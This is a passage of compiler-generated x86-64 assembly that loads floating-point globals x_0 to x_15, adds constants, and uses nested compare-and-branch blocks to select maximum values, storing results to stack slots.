cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC23[rip]
addsd xmm0, xmm1
jmp .L832
.L1622:
movss xmm0, DWORD PTR x_2[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC23[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_5[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC24[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1624
movss xmm0, DWORD PTR x_2[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC23[rip]
addsd xmm0, xmm1
jmp .L832
.L1624:
movss xmm0, DWORD PTR x_5[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC24[rip]
addsd xmm0, xmm1
.L832:
movss xmm1, DWORD PTR x_11[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC1[rip]
addsd xmm1, xmm2
movss xmm2, DWORD PTR x_12[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC2[rip]
addsd xmm2, xmm3
comisd xmm1, xmm2
jbe .L1625
movss xmm1, DWORD PTR x_11[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC1[rip]
addsd xmm1, xmm2
jmp .L838
.L1625:
movss xmm1, DWORD PTR x_12[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC2[rip]
addsd xmm1, xmm2
.L838:
movss xmm2, DWORD PTR x_13[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC16[rip]
addsd xmm2, xmm3
movss xmm3, DWORD PTR x_14[rip]
pxor xmm4, xmm4
cvtss2sd xmm4, xmm3
movsd xmm3, QWORD PTR .LC16[rip]
addsd xmm3, xmm4
comisd xmm2, xmm3
jbe .L1626
movss xmm2, DWORD PTR x_13[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC16[rip]
addsd xmm2, xmm3
jmp .L841
.L1626:
movss xmm2, DWORD PTR x_14[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC16[rip]
addsd xmm2, xmm3
.L841:
comisd xmm1, xmm2
jbe .L1627
movss xmm1, DWORD PTR x_11[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC1[rip]
addsd xmm1, xmm2
movss xmm2, DWORD PTR x_12[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC2[rip]
addsd xmm2, xmm3
comisd xmm1, xmm2
jbe .L1628
movss xmm1, DWORD PTR x_11[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC1[rip]
addsd xmm1, xmm2
jmp .L847
.L1628:
movss xmm1, DWORD PTR x_12[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC2[rip]
addsd xmm1, xmm2
jmp .L847
.L1627:
movss xmm1, DWORD PTR x_13[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC16[rip]
addsd xmm1, xmm2
movss xmm2, DWORD PTR x_14[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC16[rip]
addsd xmm2, xmm3
comisd xmm1, xmm2
jbe .L1629
movss xmm1, DWORD PTR x_13[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC16[rip]
addsd xmm1, xmm2
jmp .L847
.L1629:
movss xmm1, DWORD PTR x_14[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC16[rip]
addsd xmm1, xmm2
.L847:
comisd xmm0, xmm1
jbe .L1630
movss xmm0, DWORD PTR x_0[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC5[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_1[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC23[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1631
movss xmm0, DWORD PTR x_0[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC5[rip]
addsd xmm0, xmm1
jmp .L855
.L1631:
movss xmm0, DWORD PTR x_1[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC23[rip]
addsd xmm0, xmm1
.L855:
movss xmm1, DWORD PTR x_2[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC23[rip]
addsd xmm1, xmm2
movss xmm2, DWORD PTR x_5[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC24[rip]
addsd xmm2, xmm3
comisd xmm1, xmm2
jbe .L1632
movss xmm1, DWORD PTR x_2[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC23[rip]
addsd xmm1, xmm2
jmp .L858
.L1632:
movss xmm1, DWORD PTR x_5[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC24[rip]
addsd xmm1, xmm2
.L858:
comisd xmm0, xmm1
jbe .L1633
movss xmm0, DWORD PTR x_0[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC5[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_1[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC23[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1634
movss xmm1, DWORD PTR x_0[rip]
movss xmm0, DWORD PTR .LC13[rip]
addss xmm0, xmm1
jmp .L868
.L1634:
movss xmm1, DWORD PTR x_1[rip]
movss xmm0, DWORD PTR .LC26[rip]
addss xmm0, xmm1
jmp .L868
.L1633:
movss xmm0, DWORD PTR x_2[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC23[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_5[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC24[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1635
movss xmm1, DWORD PTR x_2[rip]
movss xmm0, DWORD PTR .LC26[rip]
addss xmm0, xmm1
jmp .L868
.L1635:
movss xmm1, DWORD PTR x_5[rip]
movss xmm0, DWORD PTR .LC27[rip]
addss xmm0, xmm1
jmp .L868
.L1630:
movss xmm0, DWORD PTR x_11[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC1[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_12[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC2[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1636
movss xmm0, DWORD PTR x_11[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC1[rip]
addsd xmm0, xmm1
jmp .L871
.L1636:
movss xmm0, DWORD PTR x_12[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC2[rip]
addsd xmm0, xmm1
.L871:
movss xmm1, DWORD PTR x_13[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC16[rip]
addsd xmm1, xmm2
movss xmm2, DWORD PTR x_14[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC16[rip]
addsd xmm2, xmm3
comisd xmm1, xmm2
jbe .L1637
movss xmm1, DWORD PTR x_13[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC16[rip]
addsd xmm1, xmm2
jmp .L874
.L1637:
movss xmm1, DWORD PTR x_14[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC16[rip]
addsd xmm1, xmm2
.L874:
comisd xmm0, xmm1
jbe .L1638
movss xmm0, DWORD PTR x_11[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC1[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_12[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC2[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1639
movss xmm1, DWORD PTR x_11[rip]
movss xmm0, DWORD PTR .LC9[rip]
addss xmm0, xmm1
jmp .L868
.L1639:
movss xmm1, DWORD PTR x_12[rip]
movss xmm0, DWORD PTR .LC10[rip]
addss xmm0, xmm1
jmp .L868
.L1638:
movss xmm0, DWORD PTR x_13[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC16[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_14[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC16[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1640
movss xmm1, DWORD PTR x_13[rip]
movss xmm0, DWORD PTR .LC19[rip]
addss xmm0, xmm1
jmp .L868
.L1640:
movss xmm1, DWORD PTR x_14[rip]
movss xmm0, DWORD PTR .LC19[rip]
addss xmm0, xmm1
.L868:
movss DWORD PTR -12[rbp], xmm0
movss xmm0, DWORD PTR x_3[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC7[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_4[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC32[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1641
movss xmm0, DWORD PTR x_3[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC7[rip]
addsd xmm0, xmm1
jmp .L886
.L1641:
movss xmm0, DWORD PTR x_4[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC32[rip]
addsd xmm0, xmm1
.L886:
movss xmm1, DWORD PTR x_5[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC23[rip]
addsd xmm1, xmm2
movss xmm2, DWORD PTR x_6[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC16[rip]
addsd xmm2, xmm3
comisd xmm1, xmm2
jbe .L1642
movss xmm1, DWORD PTR x_5[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC23[rip]
addsd xmm1, xmm2
jmp .L889
.L1642:
movss xmm1, DWORD PTR x_6[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC16[rip]
addsd xmm1, xmm2
.L889:
comisd xmm0, xmm1
jbe .L1643
movss xmm0, DWORD PTR x_3[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC7[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_4[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC32[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1644
movss xmm0, DWORD PTR x_3[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC7[rip]
addsd xmm0, xmm1
jmp .L895
.L1644:
movss xmm0, DWORD PTR x_4[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC32[rip]
addsd xmm0, xmm1
jmp .L895
.L1643:
movss xmm0, DWORD PTR x_5[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC23[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_6[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC16[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1645
movss xmm0, DWORD PTR x_5[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC23[rip]
addsd xmm0, xmm1
jmp .L895
.L1645:
movss xmm0, DWORD PTR x_6[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC16[rip]
addsd xmm0, xmm1
.L895:
movss xmm1, DWORD PTR x_8[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC32[rip]
addsd xmm1, xmm2
movss xmm2, DWORD PTR x_13[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC16[rip]
addsd xmm2, xmm3
comisd xmm1, xmm2
jbe .L1646
movss xmm1, DWORD PTR x_8[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC32[rip]
addsd xmm1, xmm2
jmp .L901
.L1646:
movss xmm1, DWORD PTR x_13[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC16[rip]
addsd xmm1, xmm2
.L901:
movss xmm2, DWORD PTR x_14[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC16[rip]
addsd xmm2, xmm3
movss xmm3, DWORD PTR x_15[rip]
pxor xmm4, xmm4
cvtss2sd xmm4, xmm3
movsd xmm3, QWORD PTR .LC4[rip]
addsd xmm3, xmm4
comisd xmm2, xmm3
jbe .L1647
movss xmm2, DWORD PTR x_14[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC16[rip]
addsd xmm2, xmm3
jmp .L904
.L1647:
movss xmm2, DWORD PTR x_15[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC4[rip]
addsd xmm2, xmm3
.L904:
comisd xmm1, xmm2
jbe .L1648
movss xmm1, DWORD PTR x_8[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC32[rip]
addsd xmm1, xmm2
movss xmm2, DWORD PTR x_13[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC16[rip]
addsd xmm2, xmm3
comisd xmm1, xmm2
jbe .L1649
movss xmm1, DWORD PTR x_8[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC32[rip]
addsd xmm1, xmm2
jmp .L910
.L1649:
movss xmm1, DWORD PTR x_13[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC16[rip]
addsd xmm1, xmm2
jmp .L910
.L1648:
movss xmm1, DWORD PTR x_14[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC16[rip]
addsd xmm1, xmm2
movss xmm2, DWORD PTR x_15[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC4[rip]
addsd xmm2, xmm3
comisd xmm1, xmm2
jbe .L1650
movss xmm1, DWORD PTR x_14[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC16[rip]
addsd xmm1, xmm2
jmp .L910
.L1650:
movss xmm1, DWORD PTR x_15[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC4[rip]
addsd xmm1, xmm2
.L910:
comisd xmm0, xmm1
jbe .L1651
movss xmm0, DWORD PTR x_3[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC7[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_4[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC32[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1652
movss xmm0, DWORD PTR x_3[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC7[rip]
addsd xmm0, xmm1
jmp .L918
.L1652:
movss xmm0, DWORD PTR x_4[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC32[rip]
addsd xmm0, xmm1
.L918:
movss xmm1, DWORD PTR x_5[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC23[rip]
addsd xmm1, xmm2
movss xmm2, DWORD PTR x_6[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC16[rip]
addsd xmm2, xmm3
comisd xmm1, xmm2
jbe .L1653
movss xmm1, DWORD PTR x_5[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC23[rip]
addsd xmm1, xmm2
jmp .L921
.L1653:
movss xmm1, DWORD PTR x_6[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC16[rip]
addsd xmm1, xmm2
.L921:
comisd xmm0, xmm1
jbe .L1654
movss xmm0, DWORD PTR x_3[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC7[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_4[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC32[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1655
movss xmm1, DWORD PTR x_3[rip]
movss xmm0, DWORD PTR .LC15[rip]
addss xmm0, xmm1
jmp .L931
.L1655:
movss xmm1, DWORD PTR x_4[rip]
movss xmm0, DWORD PTR .LC33[rip]
addss xmm0, xmm1
jmp .L931
.L1654:
movss xmm0, DWORD PTR x_5[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC23[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_6[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC16[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1656
movss xmm1, DWORD PTR x_5[rip]
movss xmm0, DWORD PTR .LC26[rip]
addss xmm0, xmm1
jmp .L931
.L1656:
movss xmm1, DWORD PTR x_6[rip]
movss xmm0, DWORD PTR .LC19[rip]
addss xmm0, xmm1
jmp .L931
.L1651:
movss xmm0, DWORD PTR x_8[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC32[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_13[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC16[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1657
movss xmm0, DWORD PTR x_8[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC32[rip]
addsd xmm0, xmm1
jmp .L934
.L1657:
movss xmm0, DWORD PTR x_13[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC16[rip]
addsd xmm0, xmm1
.L934:
movss xmm1, DWORD PTR x_14[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC16[rip]
addsd xmm1, xmm2
movss xmm2, DWORD PTR x_15[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC4[rip]
addsd xmm2, xmm3
comisd xmm1, xmm2
jbe .L1658
movss xmm1, DWORD PTR x_14[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC16[rip]
addsd xmm1, xmm2
jmp .L937
.L1658:
movss xmm1, DWORD PTR x_15[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC4[rip]
addsd xmm1, xmm2
.L937:
comisd xmm0, xmm1
jbe .L1659
movss xmm0, DWORD PTR x_8[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC32[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_13[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC16[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1660
movss xmm1, DWORD PTR x_8[rip]
movss xmm0, DWORD PTR .LC33[rip]
addss xmm0, xmm1
jmp .L931
.L1660:
movss xmm1, DWORD PTR x_13[rip]
movss xmm0, DWORD PTR .LC19[rip]
addss xmm0, xmm1
jmp .L931
.L1659:
movss xmm0, DWORD PTR x_14[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC16[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_15[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC4[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1661
movss xmm1, DWORD PTR x_14[rip]
movss xmm0, DWORD PTR .LC19[rip]
addss xmm0, xmm1
jmp .L931
.L1661:
movss xmm1, DWORD PTR x_15[rip]
movss xmm0, DWORD PTR .LC12[rip]
addss xmm0, xmm1
.L931:
movss DWORD PTR -8[rbp], xmm0
movss xmm0, DWORD PTR x_0[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC7[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_1[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC17[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1662
movss xmm0, DWORD PTR x_0[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC7[rip]
addsd xmm0, xmm1
jmp .L949
.L1662:
movss xmm0, DWORD PTR x_1[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC17[rip]
addsd xmm0, xmm1
.L949:
movss xmm1, DWORD PTR x_4[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC1[rip]
addsd xmm1, xmm2
movss xmm2, DWORD PTR x_5[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC4[rip]
addsd xmm2, xmm3
comisd xmm1, xmm2
jbe .L1663
movss xmm1, DWORD PTR x_4[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC1[rip]
addsd xmm1, xmm2
jmp .L952
.L1663:
movss xmm1, DWORD PTR x_5[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC4[rip]
addsd xmm1, xmm2
.L952:
comisd xmm0, xmm1
jbe .L1664
movss xmm0, DWORD PTR x_0[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC7[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_1[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC17[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1665
movss xmm0, DWORD PTR x_0[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC7[rip]
addsd xmm0, xmm1
jmp .L958
.L1665:
movss xmm0, DWORD PTR x_1[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC17[rip]
addsd xmm0, xmm1
jmp .L958
.L1664:
movss xmm0, DWORD PTR x_4[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC1[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_5[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC4[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1666
movss xmm0, DWORD PTR x_4[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC1[rip]
addsd xmm0, xmm1
jmp .L958
.L1666:
movss xmm0, DWORD PTR x_5[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC4[rip]
addsd xmm0, xmm1
.L958:
movss xmm1, DWORD PTR x_6[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC17[rip]
addsd xmm1, xmm2
movss xmm2, DWORD PTR x_7[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC16[rip]
addsd xmm2, xmm3
comisd xmm1, xmm2
jbe .L1667
movss xmm1, DWORD PTR x_6[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC17[rip]
addsd xmm1, xmm2
jmp .L964
.L1667:
movss xmm1, DWORD PTR x_7[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC16[rip]
addsd xmm1, xmm2
.L964:
movss xmm2, DWORD PTR x_9[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC24[rip]
addsd xmm2, xmm3
movss xmm3, DWORD PTR x_12[rip]
pxor xmm4, xmm4
cvtss2sd xmm4, xmm3
movsd xmm3, QWORD PTR .LC28[rip]
addsd xmm3, xmm4
comisd xmm2, xmm3
jbe .L1668
movss xmm2, DWORD PTR x_9[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC24[rip]
addsd xmm2, xmm3
jmp .L967
.L1668:
movss xmm2, DWORD PTR x_12[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC28[rip]
addsd xmm2, xmm3
.L967:
comisd xmm1, xmm2
jbe .L1669
movss xmm1, DWORD PTR x_6[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC17[rip]
addsd xmm1, xmm2
movss xmm2, DWORD PTR x_7[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC16[rip]
addsd xmm2, xmm3
comisd xmm1, xmm2
jbe .L1670
movss xmm1, DWORD PTR x_6[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC17[rip]
addsd xmm1, xmm2
jmp .L973
.L1670:
movss xmm1, DWORD PTR x_7[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC16[rip]
addsd xmm1, xmm2
jmp .L973
.L1669:
movss xmm1, DWORD PTR x_9[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC24[rip]
addsd xmm1, xmm2
movss xmm2, DWORD PTR x_12[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC28[rip]
addsd xmm2, xmm3
comisd xmm1, xmm2
jbe .L1671
movss xmm1, DWORD PTR x_9[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC24[rip]
addsd xmm1, xmm2
jmp .L973
.L1671:
movss xmm1, DWORD PTR x_12[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC28[rip]
addsd xmm1, xmm2
.L973:
comisd xmm0, xmm1
jbe .L1672
movss xmm0, DWORD PTR x_0[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC7[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_1[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC17[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1673
movss xmm0, DWORD PTR x_0[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC7[rip]
addsd xmm0, xmm1
jmp .L981
.L1673:
movss xmm0, DWORD PTR x_1[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC17[rip]
addsd xmm0, xmm1
.L981:
movss xmm1, DWORD PTR x_4[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
